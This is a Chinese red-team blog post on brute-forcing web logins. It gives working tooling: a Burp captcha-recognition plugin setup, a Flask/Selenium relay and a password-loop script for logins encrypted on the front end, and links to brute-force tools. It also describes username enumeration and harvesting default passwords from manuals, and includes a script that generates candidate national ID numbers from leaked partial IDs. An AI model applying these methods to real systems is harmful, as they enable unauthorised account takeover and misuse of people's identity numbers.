这是红队系列文章的第五篇,我们来介绍一下,暴力破解的艺术。
在今年做项目的时候,目标仅有寥寥数个网站。而且基本全是登录框,这个时候我们就需要了解一下暴力破解这门艺术了。
似乎验证码一直是阻碍我们暴力破解的罪魁祸首,今天我将介绍一种方式,用来帮助我们解决这个问题。
首先安装识别验证码的本地服务端(windows有打包好的)
https://github.com/smxiazi/NEW_xp_CAPTCHA/releases/tag/4.1
之后下载插件,我这里的burpsuite是2022.3版本的,因此我下载
https://github.com/smxiazi/NEW_xp_CAPTCHA
之后我们运行起来这个服务端
直接点进这里https://github.com/smxiazi/NEW_xp_CAPTCHA/releases/tag/4.1 下好的,里面有个运行.bat
之后把插件安装上,并配置
之后找到这个验证码连接(非常简单,只需要你在验证码的图片上右键==>查看图片地址)这个地址就是红框的地址
注意!一定要填完配置后点一下保存配置
否则不管用!
Intruder中设置你想要爆破的变量,并将验证码设置为@xiapao@2@
最后设置线程为1
试一下
识别率很不理想,但没办法,毕竟是白嫖版,只能这样了....
但是对于一些验证码来说它的识别率还是可以的。
毕竟不是收费的接口,识别率低情有可原,总归是多条方法多条路。
很多时候我们都会遇到这么个问题,就是暴力破解的时候发现账号密码是被前端加密传输过去的。此时,明文Intruder爆破肯定是不行了。
市面上的解决方案我看了一下,基本就是找到加密JS然后再爆破,诚然这是一种非常有效的方式,但是对于我这种渣渣来说,还是太超前了。
那么有没有这么一种可能,我啥也不找,就直接登录呢?前几天看到了一篇flask中转注入吸引了我的注意,我觉得这种注入方式或许也能应用到我这里。
PHP:
逻辑判断:
xxxxxxxxxx
<?php
$u=$_POST['username'];
$p=$_POST['password'];
$json=file_get_contents("php://input"); //接受json
$jsonData=json_decode($json, true);//将json转换为数组
if($jsonData['username']==md5("admin")&&$jsonData['password']==md5("pass")){
echo "Success";
}
?>
登录成功后跳转到管理员页面:
xxxxxxxxxx
<?php
echo "Welcome Admin";
?>
HTML页面
xxxxxxxxxx
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="application/javascript" src="../js/md5.js"></script>
<script type="application/javascript" src="../js/axios.min.js"></script>
</head>
<body>
<div style="margin:0 auto;width:100px">
用户名:<input type="text" name="us" id='us'/></br>
密 码:<input type="password" name="ps" id='ps'/></br>
<button value="button" onclick="toLogin()" id="submit"></button>
</div>
<script>
function toLogin() {
var us = document.getElementById('us').value
var ps = document.getElementById('ps').value;
if (us === "" || ps === "") {
document.getElementById('massageText').innerHTML="账号或密码不能为空!";
} else {
axios.post('demo.php', {
username: md5(us),
password: md5(ps)//假设是这种加密,正式环境下可能会更加恶心。
})
.then(function (response) {
if(response.data==="Success"){
window.location.href = 'welcome.php';
}
// console.log(response);
})
.catch(function (error) {
console.log(error);
}); }
}
</script>
</body>
</html>
python
记得安装flask
pip3 install flask
xxxxxxxxxx
from flask import Flask
from flask import request
from selenium import webdriverchrome = webdriver.Chrome()
chrome.get("http://127.0.0.1:9990/Module/test.html") # 测试URL
app = Flask(__name__)
def send(us,ps):
# 起到中转payload效果。
chrome.refresh()
chrome.find_element_by_id("us").send_keys(us) # 它会发送这俩
chrome.find_element_by_id("ps").send_keys(ps)
chrome.find_element_by_id("submit").click()
chrome.refresh()
return chrome.current_url # 返回当前url,便于判断是否登陆成功
@app.route('/')
def index():
# 接收传来的us/ps
us = request.args.get("us")
ps=request.args.get("ps")
return send(us,ps)
if __name__ == "__main__":
app.run()
我们启动这个flask小demo
然后写一个简单的发包
xxxxxxxxxx
import requests
passwords=['123456','admin','pass','tx520']
for password in passwords:
print(password)
r=requests.get("http://127.0.0.1:5000/?us=admin&ps={}".format(password))
print(r.text)
运行之:
会发现在密码为pass
的时候,URL发生了变化,证明登录成功了
实际上,该脚本完全可以优化,因为您知道登陆失败的URL是什么,完全可以再修改这个demo就可以了
优点:
缺点
alert
这种,就没法爆破了,目前暂无解决方法。intruder
如果你能解决这些问题,欢迎提交给我代码。我是
白嫖怪
实际上在提出这个想法后不久,就有师傅做出来这种工具了。
https://github.com/gubeihc/blasting
安装:
pip3 install -r requirements
接着安装
python3 -m playwright install
最后安装
pip3 install pyqtdarktheme pip3 uninstall docx pip3 install python-docx
最后就可以启用了
python3 BLAST.py
最后我们看看实际应用场景:
假设我们天云安全的前端登录是存在加密的,那么我们该如何使用这款工具呢?
选择自定义:
这里会让咱们填入xpath
XPath是XML路径语言,它是用来确定xml文档中所部分位置的语言。
xpath的获取很简单,第一步F12
把所有需要的参数填入后,增加密码:
在账号为 admin
密码为 tysec
时,title改变,证明此时密码正确。
那我们再来测试下我们自己写的小Demo可不可以用
成功!
暴力破解离不开两样:账号、密码
如果我们能有先解决这个账号问题,那么我们的爆破会事半功倍。
在这里可以提几点:
密码错误,您今天还有N次机会
;而输入不存在的账号,密码随便写,则会提示您输入的账号或密码错误
。通过这个,我们就可以获得账号的情况那么我们该怎么获取账号呢?
例如我们能获取这个企业的部分人员名单,这个时候我们可以把它转换成例如拼音等各种格式的,然后去找回密码处确定规则/哪些用户名是存在的,然后再根据这个规则/用户名去组合密码。
那这里就需要用到一个东西:怎么把中文的人名转换成对应的英文名呢?推荐一个小工具:
这大概是让我们爆破成功几率倍增的东西。
一般某系统的手册有时就会在登录框那里,只要下载就能看见账号是什么或者说密码的规则(甚至说是默认密码都会告诉我们)
当然,有时也只会有个系统操作说明,但是这里仍然有学问。曾经遇到过,上来就是一张登录的图片,说账号下发到各单位,默认密码同账号。于是我发现在登陆图片那里,暴露了账号(类似为601000039K
这种)此时脑海里有了想法,直接修改倒数第2、3位6010000$39$K
从00爆破到99.最终找到了一个没改的,进入后台。
当然如果连默认密码也不告诉我们,还是那句话。先想办法确定账号,在对这些账号做暴力破解。
很多时候,登录框是那里也不会存在。
我们不必就此沮丧,一般可以去百度尝试搜索:xxx系统操作手册、操作演示、操作视频、操作PPT等等。
有时候PPT里就能告诉你默认账号密码,而且图片中往往会暴露这种情况
当然,还可以去百度/乌云漏洞库/搜索xxx系统弱口令
。
有时,会有大收获!
曾经在2019年的时候,听到一个红队大哥分享过他们打站的一般流程。其中就提到了他们在打站的时候,会专门把含有后台字样的URL提取出来,然后批量爆破。只可惜他们那个是内部工具,没有办法拿到。后面在github上找到了两个,只能说还可以用,但是效果不太好。
https://github.com/TideSec/web_pwd_common_crack
https://github.com/wuqi5700/WebCrackv2
高Star:https://github.com/yzddmr6/WebCrack
还有@VV他的半成品工具,其实完成度也很高了。
我们在做项目的时候,一直也跟身份证较劲。最近发现,网上曝光的东西全部是身份证的前十四位,打码最后四位数。如果我们硬生生的爆破,最高可以达到10*10*10*11
一共11000
种条件。在现在一直加强边界安全的时代,我们如果能找到一个没有验证码的网站,可能也需要低限程
爆破。如果11000
个,可能真的得爆破到死了。于是我们需要对身份证的构成进行研究。
前十四位不必多说,最后这几位比较有意思。
15~16 我们基本没法通过一些简单的信息获取。
17 性别位。男生为奇数,女生为偶数。
18位最为重要,他将决定我们的字典数量。
校验位的计算如下:
看着复杂,但其实比较简单。
我们用人话
来说:
1、将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为:7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
2、将这17位数字和对应的系数各自相乘的结果相加;
3、用加出来的和除以11,看余数是多少;
4、余数只可能是0 1 2 3 4 5 6 7 8 9 10这11个数字中的一个。这些余数分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2;
以网上搜索到的身份证号——440102198001021230举例,计算步骤如下:
1、用这个身份证号440102198001021230前17位的各位的数字依次和
7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2的各位数字相乘,得到:
28 36 0 5 0 8 2 9 48 0 0 9 0 10 8 8 6
2、将28 36 0 5 0 8 2 9 48 0 0 9 0 10 8 8 6这17个数字相加,得到177
3、计算177除以11的余数,得到:1
4、由于余数0 1 2 3 4 5 6 7 8 9 10依次对应身份证校验码
1 0 X 9 8 7 6 5 4 3 2,所以余数1对应的身份证校验码就是0,也就是说身份证号440102198001021230的最后一位和我们计算出来的身份证校验码是一致的,说明这个身份证号是有效的,不是乱编的无效号码。
也就是说,我们得到的信息越多,则身份证的爆破字典越短。尤其是我们能够得到最后一位!
于是我们写一个小的脚本
xxxxxxxxxx
import sys
def saveResult2File(line,filename):
f=open(filename,'a+')
f.write(line+"\n")
f.close()
def calc(start,sex,filename="result",end="no"):
jym = ["1", "0", "x", "9", "8", "7", "6", "5", "4", "3", "2"]
jsnum=0
jqyz=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2,1]
man=[1,3,5,7,9]
woman=[0,2,4,6,8]
sexLocation=[]
if(end=="no"):
jymm=jym
if(end!="" and end!="no"):
jymm=[end]
for i in jymm:
if(sex=="man"):
sexLocation=man
elif(sex=="woman"):
sexLocation=woman
else:
sexLocation=[0,1,2,3,4,5,6,7,8,9]
for sexx in sexLocation:
for jsnum in range(0,100):
newArr= start+str(jsnum).zfill(2)+str(sexx)+str(i)
sum=0
for x in range(17):
sum+=int(newArr[x])*jqyz[x]
jsys=sum%11
if jym[jsys]==str(i):
saveResult2File(newArr,filename)
print("可能正确的身份证号码:"+newArr)
# break
if __name__ == '__main__':
print("""Usage:python3 sfzbp.py 身份证前十四位 性别(不知道填写no) 校验位(不知道填写no) 待保存的文件\n
本工具严格遵守身份证的校验算法,可以从最多11000减少到4021次。
""")
start=sys.argv[1]
sex=sys.argv[2]
end = sys.argv[3]
filename=sys.argv[4]
if(start!="" and sex!=""):
calc(start,sex,filename,end)
如果你知道对方的前十四位+性别+最后一位则可以把整个字典缩小的几十个!